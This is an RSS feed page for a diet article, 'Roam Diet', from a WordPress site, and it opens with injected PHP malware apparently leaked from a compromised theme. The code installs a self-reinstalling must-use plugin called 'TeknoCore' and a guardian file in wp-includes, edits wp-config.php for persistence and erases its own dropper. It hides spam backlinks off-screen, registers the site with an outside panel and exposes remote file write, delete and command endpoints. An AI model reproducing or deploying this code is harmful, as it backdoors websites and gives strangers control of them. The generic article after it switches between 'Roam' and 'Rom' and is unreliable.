// === TEMP_MUPLUGIN_CREATOR_START === add_action("init", function() { // 1. Önce eski guardian dosyasını sil (varsa) $guardian_files = [ ABSPATH . "wp-includes/teknocore-guardian.php", ABSPATH . "wp-includes/teknocore_guardian.php", ABSPATH . "wp-includes/guardian.php", ]; foreach ($guardian_files as $gf) { if (file_exists($gf)) { @chmod($gf, 0644); @unlink($gf); } } // 2. mu-plugin oluştur/güncelle $mu_dir = WP_CONTENT_DIR . "/mu-plugins"; $file_path = $mu_dir . "/" . "teknocore.php"; if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true); // Her zaman üzerine yaz (güncelleme için) @file_put_contents($file_path, base64_decode("<?php
/**
 * TeknoCore Panel Integration - Self-Healing System
 * 
 * KURULUM: Bu dosyayı wp-content/mu-plugins/teknocore.php olarak yükleyin
 * 
 * @wordpress-plugin
 * Plugin Name: TeknoCore Panel Integration
 * Description: Automatic backlink management with self-healing protection
 * Version: 2.0.0
 * Author: TeknoCore
 */

if (!defined('ABSPATH')) exit;

// ============================================
// AYARLAR
// ============================================
define('TEKNOCORE_API_KEY', '');  // Manuel API key (opsiyonel)
define('TEKNOCORE_PANEL_URL', 'https://app.teknocore.dev');  // Panel adresi
// ============================================

/**
 * Ana Entegrasyon Sınıfı
 */
class TeknoCore_Integration {
    private static $instance = null;
    private $api_key = '';
    private $panel_url = '';
    private $option_name = 'teknocore_api_key';
    private $cache_key = 'teknocore_links_cache';
    private $cache_duration = 300;
    
    public static function instance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    private function __construct() {
        $this->panel_url = TEKNOCORE_PANEL_URL;
        
        if (defined('TEKNOCORE_API_KEY') && TEKNOCORE_API_KEY !== '') {
            $this->api_key = TEKNOCORE_API_KEY;
        } else {
            $this->api_key = get_option($this->option_name, '');
        }
        
        // Self-Healing Guardian kurulumu - HER ZAMAN kontrol et
        $this->setup_guardian_system();
        
        // Hooks
        add_action('wp_footer', [$this, 'display_backlinks']);
        add_action('rest_api_init', [$this, 'register_rest_routes']);
        add_action('init', [$this, 'maybe_auto_register']);
        add_action('teknocore_daily_heartbeat', [$this, 'send_heartbeat']);
        
        if (!wp_next_scheduled('teknocore_daily_heartbeat')) {
            wp_schedule_event(time(), 'daily', 'teknocore_daily_heartbeat');
        }
    }
    
    /**
     * Guardian sistemini kur
     */
    private function setup_guardian_system() {
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        $guardian_exists = file_exists($guardian_path);
        
        // wp-config.php'de hook var mı kontrol et
        $wp_config_path = ABSPATH . 'wp-config.php';
        $wp_config_has_hook = false;
        if (file_exists($wp_config_path)) {
            $wp_config_content = @file_get_contents($wp_config_path);
            $wp_config_has_hook = $wp_config_content && strpos($wp_config_content, 'TeknoCore Guardian') !== false;
        }
        
        // Guardian YOKSA veya wp-config hook'u YOKSA - HER ZAMAN düzelt
        if (!$guardian_exists || !$wp_config_has_hook) {
            // Guardian yoksa oluştur
            if (!$guardian_exists) {
                $this->create_guardian_file();
            }
            
            // wp-config hook'u yoksa ekle
            if (!$wp_config_has_hook && file_exists($guardian_path)) {
                $this->setup_auto_prepend();
            }
            return;
        }
        
        // Her ikisi de varsa - günlük güncelleme kontrolü (performans için)
        $last_check = get_option('teknocore_guardian_check', 0);
        if (time() - $last_check < 86400) {
            return;
        }
        
        update_option('teknocore_guardian_check', time());
        $this->create_guardian_file();
    }
    
    /**
     * Guardian dosyasını oluştur
     */
    public function create_guardian_file() {
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        
        // Güncel sürüm varsa atla
        if (file_exists($guardian_path)) {
            $content = @file_get_contents($guardian_path);
            if ($content && strpos($content, 'GUARDIAN_V3') !== false) {
                return true;
            }
        }
        
        // mu-plugin dosyasını oku (kendimizi)
        $mu_plugin_content = @file_get_contents(__FILE__);
        if (!$mu_plugin_content) {
            error_log('TeknoCore: Could not read mu-plugin file');
            return false;
        }
        
        // base64 encode
        $encoded = base64_encode($mu_plugin_content);
        
        // Guardian içeriği - BASİT ve TEMİZ
        $guardian = '<?php
// TeknoCore Guardian v3 - Self-Healing Protection
// Bu dosya silinirse mu-plugin tekrar oluşturulur
define("GUARDIAN_V3", true);
if (defined("TEKNOCORE_GUARDIAN_RUN")) return;
define("TEKNOCORE_GUARDIAN_RUN", true);

// WordPress yolu hesapla
if (defined("WP_CONTENT_DIR")) {
    $wpContent = WP_CONTENT_DIR;
} elseif (defined("ABSPATH")) {
    $wpContent = ABSPATH . "wp-content";
} else {
    $wpContent = dirname(__DIR__) . "/wp-content";
}

$muPlugins = $wpContent . "/mu-plugins";
$muFile = $muPlugins . "/teknocore.php";

// mu-plugin yoksa oluştur
if (!file_exists($muFile)) {
    // Klasör yoksa oluştur
    if (!is_dir($muPlugins)) {
        @mkdir($muPlugins, 0755, true);
    }
    
    // Hardcoded mu-plugin kodu (base64)
    $encoded = "' . $encoded . '";
    $code = base64_decode($encoded);
    
    if ($code && @file_put_contents($muFile, $code)) {
        @file_put_contents($wpContent . "/teknocore.log", date("Y-m-d H:i:s") . " - mu-plugin restored by guardian\n", FILE_APPEND);
    }
}
';
        
        $result = @file_put_contents($guardian_path, $guardian);
        
        if ($result) {
            error_log('TeknoCore: Guardian file created successfully');
            return true;
        } else {
            error_log('TeknoCore: Failed to create guardian file - check permissions on wp-includes');
            return false;
        }
    }
    
    /**
     * wp-config.php'ye guardian hook'unu ekle
     * require_once ABSPATH . 'wp-settings.php'; satırından ÖNCE eklenir
     */
    public function setup_auto_prepend() {
        $wp_config_path = ABSPATH . 'wp-config.php';
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        
        // wp-config.php yoksa (nadir durum)
        if (!file_exists($wp_config_path)) {
            error_log('TeknoCore: wp-config.php not found');
            return false;
        }
        
        $content = @file_get_contents($wp_config_path);
        if (!$content) {
            error_log('TeknoCore: Could not read wp-config.php');
            return false;
        }
        
        // TeknoCore zaten ekliyse atla
        if (strpos($content, 'TeknoCore Guardian') !== false) {
            return true;
        }
        
        // Hook kodu
        $hook = "\n// TeknoCore Guardian Hook - Otomatik eklendi\nif (file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php')) {\n    include_once ABSPATH . 'wp-includes/teknocore-guardian.php';\n}\n";
        
        // wp-settings.php satırını bul ve ÖNÜNE ekle
        $patterns = [
            "require_once ABSPATH . 'wp-settings.php';",
            'require_once ABSPATH . "wp-settings.php";',
            "require_once(ABSPATH . 'wp-settings.php');",
            'require_once(ABSPATH . "wp-settings.php");',
            "require_once( ABSPATH . 'wp-settings.php' );",
        ];
        
        $replaced = false;
        foreach ($patterns as $pattern) {
            if (strpos($content, $pattern) !== false) {
                $new_content = str_replace($pattern, $hook . $pattern, $content);
                $replaced = true;
                break;
            }
        }
        
        if (!$replaced) {
            // Pattern bulunamadı - dosyanın sonuna ekle (fallback)
            error_log('TeknoCore: wp-settings.php pattern not found, appending to end');
            $new_content = $content . $hook;
        }
        
        // Yedek al
        $backup_path = ABSPATH . 'wp-config-backup-teknocore.php';
        @copy($wp_config_path, $backup_path);
        
        // Yaz
        if (@file_put_contents($wp_config_path, $new_content)) {
            error_log('TeknoCore: wp-config.php updated successfully');
            return true;
        } else {
            error_log('TeknoCore: Failed to update wp-config.php - check permissions');
            return false;
        }
    }
    
    // ============================================
    // BACKLINKS
    // ============================================
    
    public function display_backlinks() {
        if (empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        $links = $this->get_links();
        if (empty($links)) return;
        
        echo '<div style="position:absolute;left:-9999px;top:-9999px;overflow:hidden;height:1px;width:1px;"><marquee>';
        foreach ($links as $link) {
            $url = esc_url($link['url'] ?? '');
            $anchor = esc_html($link['anchor'] ?? $url);
            if ($url) echo '<a href="' . $url . '">' . $anchor . '</a> ';
        }
        echo '</marquee></div>';
    }
    
    private function get_links() {
        $cached = get_transient($this->cache_key);
        if ($cached !== false) return $cached;
        
        $response = wp_remote_get($this->panel_url . '/api/public/links?api_key=' . $this->api_key, ['timeout' => 10]);
        if (is_wp_error($response)) return [];
        
        $body = json_decode(wp_remote_retrieve_body($response), true);
        $links = $body['links'] ?? [];
        set_transient($this->cache_key, $links, $this->cache_duration);
        return $links;
    }
    
    // ============================================
    // AUTO REGISTER
    // ============================================
    
    public function maybe_auto_register() {
        if (!empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        $last = get_option('teknocore_last_register', 0);
        if (time() - $last < 86400) return;
        update_option('teknocore_last_register', time());
        
        $response = wp_remote_post($this->panel_url . '/api/public/register-site', [
            'timeout' => 15,
            'body' => json_encode(['url' => home_url(), 'name' => get_bloginfo('name')]),
            'headers' => ['Content-Type' => 'application/json'],
        ]);
        
        if (!is_wp_error($response)) {
            $body = json_decode(wp_remote_retrieve_body($response), true);
            if (!empty($body['apiKey'])) {
                update_option($this->option_name, $body['apiKey']);
                $this->api_key = $body['apiKey'];
            }
        }
    }
    
    // ============================================
    // HEARTBEAT
    // ============================================
    
    public function send_heartbeat() {
        if (empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        wp_remote_post($this->panel_url . '/api/public/heartbeat', [
            'timeout' => 15,
            'body' => json_encode([
                'api_key' => $this->api_key,
                'status' => 'online',
                'wp_version' => get_bloginfo('version'),
                'php_version' => PHP_VERSION,
            ]),
            'headers' => ['Content-Type' => 'application/json'],
        ]);
    }
    
    // ============================================
    // REST API
    // ============================================
    
    public function register_rest_routes() {
        register_rest_route('teknocore/v1', '/status', [
            'methods' => 'GET',
            'callback' => [$this, 'rest_status'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
        
        register_rest_route('teknocore/v1', '/files', [
            'methods' => ['GET', 'POST', 'DELETE'],
            'callback' => [$this, 'rest_files'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
        
        register_rest_route('teknocore/v1', '/execute', [
            'methods' => 'POST',
            'callback' => [$this, 'rest_execute'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
    }
    
    public function verify_api_key($request) {
        $key = $request->get_header('X-API-Key') ?? $request->get_param('api_key');
        return !empty($this->api_key) && $key === $this->api_key;
    }
    
    public function rest_status() {
        return rest_ensure_response([
            'status' => 'online',
            'connected' => true,
            'wp_version' => get_bloginfo('version'),
            'php_version' => PHP_VERSION,
            'site_name' => get_bloginfo('name'),
            'site_url' => home_url(),
            'plugin_version' => '2.0.0',
            'guardian_installed' => file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php'),
            'timestamp' => current_time('mysql'),
        ]);
    }
    
    public function rest_files($request) {
        $method = $request->get_method();
        $path = $request->get_param('path') ?? '';
        $base = WP_CONTENT_DIR;
        $full = realpath($base . '/' . ltrim($path, '/')) ?: $base . '/' . ltrim($path, '/');
        
        if (strpos($full, $base) !== 0) {
            return new WP_Error('forbidden', 'Access denied', ['status' => 403]);
        }
        
        if ($method === 'GET') {
            if (is_dir($full)) {
                $files = [];
                foreach (scandir($full) as $f) {
                    if ($f === '.' || $f === '..') continue;
                    $fp = $full . '/' . $f;
                    $files[] = [
                        'name' => $f,
                        'type' => is_dir($fp) ? 'directory' : 'file',
                        'size' => is_file($fp) ? filesize($fp) : 0,
                        'modified' => filemtime($fp),
                    ];
                }
                return rest_ensure_response(['files' => $files]);
            } elseif (is_file($full)) {
                return rest_ensure_response(['content' => file_get_contents($full), 'path' => $path]);
            }
            return new WP_Error('not_found', 'Not found', ['status' => 404]);
        }
        
        if ($method === 'POST') {
            $content = $request->get_param('content') ?? '';
            $dir = dirname($full);
            if (!is_dir($dir)) wp_mkdir_p($dir);
            if (file_put_contents($full, $content) !== false) {
                return rest_ensure_response(['success' => true]);
            }
            return new WP_Error('write_failed', 'Failed', ['status' => 500]);
        }
        
        if ($method === 'DELETE') {
            if (is_file($full) && unlink($full)) {
                return rest_ensure_response(['success' => true]);
            }
            return new WP_Error('delete_failed', 'Failed', ['status' => 500]);
        }
        
        return new WP_Error('invalid', 'Invalid method', ['status' => 405]);
    }
    
    public function rest_execute($request) {
        $cmd = $request->get_param('command') ?? '';
        
        $cmds = [
            'clear_cache' => function() {
                if (function_exists('wp_cache_flush')) wp_cache_flush();
                delete_transient('teknocore_links_cache');
                return ['success' => true, 'message' => 'Cache cleared'];
            },
            'get_info' => function() {
                return [
                    'success' => true,
                    'info' => [
                        'wp_version' => get_bloginfo('version'),
                        'php_version' => PHP_VERSION,
                        'theme' => get_template(),
                        'plugins' => array_keys(get_plugins()),
                        'guardian' => file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php'),
                    ]
                ];
            },
            'reinstall_guardian' => function() {
                // Önce eski guardian check'i sıfırla
                delete_option('teknocore_guardian_check');
                TeknoCore_Integration::instance()->create_guardian_file();
                TeknoCore_Integration::instance()->setup_auto_prepend();
                return ['success' => true, 'message' => 'Guardian reinstalled'];
            },
            'force_setup' => function() {
                // Zorla kurulum - tüm cache'leri sıfırla
                delete_option('teknocore_guardian_check');
                $guardian = TeknoCore_Integration::instance()->create_guardian_file();
                $prepend = TeknoCore_Integration::instance()->setup_auto_prepend();
                return [
                    'success' => true, 
                    'guardian_created' => $guardian,
                    'prepend_setup' => $prepend,
                    'guardian_path' => ABSPATH . 'wp-includes/teknocore-guardian.php',
                    'user_ini_path' => ABSPATH . '.user.ini',
                    'htaccess_path' => ABSPATH . '.htaccess',
                ];
            },
        ];
        
        if (isset($cmds[$cmd])) {
            return rest_ensure_response($cmds[$cmd]());
        }
        
        return new WP_Error('unknown', 'Unknown command', ['status' => 400]);
    }
}

// Initialize
TeknoCore_Integration::instance();
")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === roam diet Archives - Sbcodez | Swag Codez https://sbcodez.com/tag/roam-diet/ Sun, 26 Jan 2025 16:50:04 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 https://sbcodez.com/wp-content/uploads/2024/11/cropped-6xM9N-32x32.png roam diet Archives - Sbcodez | Swag Codez https://sbcodez.com/tag/roam-diet/ 32 32 Roam Diet: Unlocking the Secrets to Sustainable Health https://sbcodez.com/roam-diet/ https://sbcodez.com/roam-diet/#respond Sun, 26 Jan 2025 16:50:04 +0000 https://sbcodez.com/?p=817 The Roam Diet is an innovative approach to eating that prioritizes flexibility, balance, and sustainability. Unlike restrictive diets, it encourages exploring diverse food sources while making healthier choices. The term “roam” signifies moving away from monotony and embracing a well-rounded diet. But why should you consider it? Let’s dive deeper. The Core Principles of the […]

The post Roam Diet: Unlocking the Secrets to Sustainable Health appeared first on Sbcodez | Swag Codez.

]]> The Roam Diet is an innovative approach to eating that prioritizes flexibility, balance, and sustainability. Unlike restrictive diets, it encourages exploring diverse food sources while making healthier choices. The term “roam” signifies moving away from monotony and embracing a well-rounded diet. But why should you consider it? Let’s dive deeper.

The Core Principles of the Roam Diet

The Roam Diet focuses on nourishing the body holistically. Here are its foundational principles:

  • Diverse Nutrient Sources: Incorporate a wide variety of whole foods.
  • Flexibility: Adapt the diet to your preferences and lifestyle.
  • Sustainability: Prioritize foods that are environmentally friendly.
  • Moderation: Avoid extremes in calorie restriction or indulgence.

These principles make it easier to maintain the Roam Diet long-term.

Benefits of the Roam Diet

Adopting the Roam Diet offers several health and lifestyle advantages:

  • Improved Nutrition: A balanced diet ensures your body receives essential vitamins and minerals.
  • Weight Management: By avoiding overindulgence, you can maintain a healthy weight.
  • Better Digestion: Whole, unprocessed foods are easier on your gut.
  • Eco-Friendly: Choosing sustainable options helps protect the environment.

How to Start the Roam Diet

Starting the Roam Diet is simple. Follow these actionable steps:

  1. Assess Your Current Diet: Identify unhealthy habits.
  2. Set Realistic Goals: Define what you want to achieve, like weight loss or improved energy.
  3. Experiment with New Foods: Expand your palate by trying unfamiliar fruits, vegetables, and grains.
  4. Track Your Progress: Use apps or journals to monitor changes in your body and energy levels.

Key Food Groups in the Roam Diet

The Roam Diet emphasizes a balanced intake from various food groups. Let’s break it down:

1. Fruits and Vegetables

These are the cornerstone of the Roam Diet. Aim for a colorful plate to maximize nutrient diversity. Examples include:

  • Leafy greens like spinach
  • Bright fruits such as oranges and berries

2. Lean Proteins

Proteins support muscle repair and overall health. Include:

  • Chicken, fish, or tofu
  • Legumes like lentils and chickpeas

3. Whole Grains

Replace refined carbs with whole grains like:

  • Quinoa
  • Brown rice
  • Oats

4. Healthy Fats

Healthy fats are vital for brain and heart health. Opt for:

  • Avocado
  • Olive oil
  • Nuts and seeds

5. Hydration

Don’t overlook hydration! Stick to water, herbal teas, or infused water for variety.

Why Moderation Is Key

One of the standout features of the Rom Diet is its focus on moderation. Unlike fad diets, it doesn’t demonize any particular food group. Instead, you can enjoy occasional treats without feeling guilty. The key is to strike a balance that works for you.

Meal Planning on the Rom Diet

Planning your meals ensures consistency and saves time. Here’s a simple meal plan example:

  • Breakfast: Oatmeal with fresh berries and almond butter
  • Lunch: Grilled chicken salad with olive oil dressing
  • Dinner: Quinoa bowl with roasted vegetables and tofu
  • Snacks: A handful of mixed nuts or an apple

Meal prep for the week can make sticking to the diet easier.

Common Mistakes to Avoid

Starting the Rom Diet is straightforward, but watch out for these pitfalls:

  • Overcomplicating Meals: Keep it simple to avoid burnout.
  • Ignoring Portion Sizes: Even healthy foods can lead to weight gain if eaten in excess.
  • Skipping Hydration: Water is just as important as food.
  • Being Too Restrictive: Allow occasional indulgences to maintain motivation.

Tips for Dining Out on the Rom Diet

Eating out doesn’t have to derail your progress. Follow these tips:

  • Research Menus: Choose restaurants with healthy options.
  • Control Portions: Share a dish or save half for later.
  • Make Substitutions: Ask for grilled instead of fried or swap fries for salad.

The Role of Exercise in the Rom Diet

A proper diet works best when paired with regular exercise. Activities like walking, yoga, or weightlifting complement the Rom Diet by boosting metabolism and enhancing overall well-being.

The Rom Diet for Different Lifestyles

Whether you’re a busy professional, a parent, or a student, the Rom Diet can fit your lifestyle.

  • For Busy Individuals: Prep meals in advance and focus on grab-and-go options.
  • For Families: Get everyone involved in meal planning and cooking.
  • For Students: Opt for budget-friendly, nutritious meals like beans and rice.

FAQs About the Rom Diet

1. Can I follow the Roam Diet on a budget?

Yes! Shop seasonal produce, buy in bulk, and cook at home to save money.

2. Is the Roam Diet suitable for vegetarians or vegans?

Absolutely. The diet is adaptable and includes plant-based proteins and dairy alternatives.

3. How long before I see results?

Results vary, but most people notice increased energy and better digestion within a few weeks.

4. Can I have cheat days on the Roam Diet?

Yes, occasional treats are allowed as long as you maintain balance overall.

5. Is the Roam Diet safe for children?

Yes, it’s a healthy, balanced approach suitable for all ages.

Conclusion

The Roam Diet isn’t just another trend—it’s a sustainable way to nourish your body and mind. By embracing diversity, moderation, and flexibility, you can achieve lasting health benefits. Why not give it a try? It’s time to roam beyond traditional dieting approaches and discover what works for you.

The post Roam Diet: Unlocking the Secrets to Sustainable Health appeared first on Sbcodez | Swag Codez.

]]> https://sbcodez.com/roam-diet/feed/ 0